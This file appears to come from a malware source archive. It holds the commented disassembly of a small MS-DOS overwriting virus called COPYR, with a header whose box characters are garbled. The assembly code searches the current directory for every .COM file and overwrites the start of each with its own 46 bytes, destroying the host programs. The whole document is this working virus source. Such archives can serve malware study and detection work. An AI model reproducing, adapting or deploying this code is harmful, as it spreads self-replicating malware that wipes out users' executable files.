MalwareSourceCode/MSDOS/C-Index/Virus.MSDOS.Unknown.copyr.asm

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2022-08-21 09:07:57 +00:00
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;<3B><> <20><>
;<3B><> COPYR <20><>
;<3B><> <20><>
;<3B><> Created: 1-Jan-80 <20><>
;<3B><> Version: <20><>
;<3B><> Passes: 5 Analysis Options on: AFOP <20><>
;<3B><> <20><>
;<3B><> <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
data_1e equ 9Eh ; (996E:009E=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
COPYR proc far
start:
mov ah,4Eh ; 'N'
mov cl,20h ; ' '
mov dx,offset data_3 ; (996E:0128=2Ah)
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
loc_1:
mov dx,data_1e ; (996E:009E=0)
mov ax,3D01h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
mov dx,offset ds:[100h] ; (996E:0100=0B4h)
mov cl,2Eh ; '.'
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_1 ; Jump if carry=0
int 20h ; Program Terminate
data_3 db 2Ah
db 2Eh, 43h, 4Fh, 4Dh, 00h
COPYR endp
seg_a ends
end start